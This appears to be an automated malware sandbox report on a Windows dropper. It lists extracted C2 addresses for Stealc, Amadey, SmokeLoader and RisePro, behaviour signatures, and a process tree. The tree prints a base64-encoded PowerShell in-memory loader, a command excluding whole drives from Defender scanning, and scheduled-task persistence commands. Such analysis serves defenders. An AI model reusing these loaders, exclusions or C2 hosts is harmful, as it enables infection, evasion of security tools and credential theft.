Resubmissions
16/02/2024, 02:54
240216-dd14ysfc711016/02/2024, 01:10
240216-bjwqbaea931009/02/2024, 16:00
240209-tfl1taed861009/02/2024, 13:49
240209-q4sxgsbf9v1006/02/2024, 16:58
240206-vg3kmadccn1006/02/2024, 00:32
240206-avq4jadbfj10Analysis
- max time kernel
142s - max time network
764s - platform
windows11-21h2_x64 - resource
win11-20240214-en - resource tags
- submitted
16/02/2024, 02:54
General
- Target 4363463463464363463463463.bin.exe
- Size 10KB
- Sample240216-dd14ysfc71
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
stealc
C2
-
http://185.172.128.24
Attributes
-
url_path
/f993692117a3fda2.php
Extracted
Family
-
amadey
Version
-
4.17
C2
-
http://193.233.132.167
Attributes
-
install_dir
4d0ab15804
-
install_file
chrosha.exe
-
strings_key
1a9519d7b465e1f4880fa09a6162d768
-
url_paths
/enigma/index.php
rc4.plain
Extracted
Family
-
smokeloader
Botnet
-
lab
Extracted
Family
-
smokeloader
Version
-
2020
C2
-
http://host-file-host6.com/
-
http://host-host-file8.com/
rc4.i32
rc4.i32
Extracted
Family
-
risepro
C2
-
193.233.132.62:50500
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Detect ZGRat V1 18 IoCs
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Stealc
Stealc is an infostealer written in C++.
- ZGRat
ZGRat is remote access trojan written in C#.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Creates new service(s) 1 TTPs
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Downloads MZ/PE file
- Stops running service(s) 3 TTPs
- .NET Reactor proctector 6 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 28 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 8 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Uses the VBS compiler for execution 1 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 19 IoCs
- Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 4 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- Drops file in Windows directory 2 IoCs
- Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 15 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 2 IoCs
- Enumerates processes with tasklist 1 TTPs 4 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 55 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe"1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 24603⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 12243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crpta.exe"C:\Users\Admin\AppData\Local\Temp\Files\crpta.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 5484⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\univ.exe"C:\Users\Admin\AppData\Local\Temp\Files\univ.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 7803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 8163⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 8363⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 8923⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 9003⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 10723⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 10803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 13283⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\_wT.exe"C:\Users\Admin\AppData\Local\Temp\Files\_wT.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\bat.bat3⤵
-
C:\Windows\system32\cmd.execmd /c "set __=^&rem"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\bat.bat4⤵
-
C:\Windows\system32\cmd.execmd /c "set __=^&rem"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\bat.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gcFlBSmEoJHNORFFLKXskbXpYYlU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JG16WGJVLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskbXpYYlUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRtelhiVS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUThwVWY3K2hyVHVmb1JYSUpwMHRqME1NV3llMld1WnJNK2xFSTdJc1YvST0nKTskbXpYYlUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUVVTbGNFdDNQMVYvbE1ucTJ6SnpHUT09Jyk7JGJ2eWxCPSRtelhiVS5DcmVhdGVEZWNyeXB0b3IoKTskZ1hwcFg9JGJ2eWxCLlRyYW5zZm9ybUZpbmFsQmxvY2soJHNORFFLLDAsJHNORFFLLkxlbmd0aCk7JGJ2eWxCLkRpc3Bvc2UoKTskbXpYYlUuRGlzcG9zZSgpOyRnWHBwWDt9ZnVuY3Rpb24gSUFGaUUoJHNORFFLKXskQWxKaVQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkc05EUUspOyRLbHFseD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JG5IU0l0PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJEFsSmlULFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbkhTSXQuQ29weVRvKCRLbHFseCk7JG5IU0l0LkRpc3Bvc2UoKTskQWxKaVQuRGlzcG9zZSgpOyRLbHFseC5EaXNwb3NlKCk7JEtscWx4LlRvQXJyYXkoKTt9JGhUdG9sPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskaEdyRW49SUFGaUUgKHBZQUphIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJGhUdG9sLCA1KS5TdWJzdHJpbmcoMikpKSk7JGxWQkxvPUlBRmlFIChwWUFKYSAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRoVHRvbCwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kbFZCTG8pLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGhHckVuKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\bat')6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 80728' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\costa.exe"C:\Users\Admin\AppData\Local\Temp\Files\costa.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\rty27.exe"C:\Users\Admin\AppData\Local\Temp\rty27.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exeC:\Users\Admin\AppData\Local\Temp\BroomSetup.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "5⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12516⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F6⤵
- Creates scheduled task(s)
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe"C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe"2⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Executes dropped EXE
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT /delete /yes3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\at.exeAT /delete /yes4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe3⤵
-
C:\Windows\SysWOW64\at.exeAT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\npp86Installerx64.exe"C:\Users\Admin\AppData\Local\Temp\Files\npp86Installerx64.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file.exe"C:\Users\Admin\AppData\Local\Temp\Files\file.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ladas.exe"C:\Users\Admin\AppData\Local\Temp\Files\ladas.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\WztGvK8oWrux94ZCpf2i.exe"C:\Users\Admin\AppData\Local\Temp\jobA6Ge_ip4vdw4LU5\WztGvK8oWrux94ZCpf2i.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xa0,0x10c,0x7ff879fe3cb8,0x7ff879fe3cc8,0x7ff879fe3cd85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2012,14535668990565274882,11361178365567982868,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 /prefetch:35⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.linkedin.com/login4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xe0,0x10c,0x7ff879fe3cb8,0x7ff879fe3cc8,0x7ff879fe3cd85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2028,13770782510096835657,6799387925073805594,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 /prefetch:35⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff879fe3cb8,0x7ff879fe3cc8,0x7ff879fe3cd85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2076 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2564 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3740 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4348 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4596 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5296 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4264 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2596 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6272 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6652 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,8473259568409454661,3293531694817198500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3496 /prefetch:15⤵
-
-
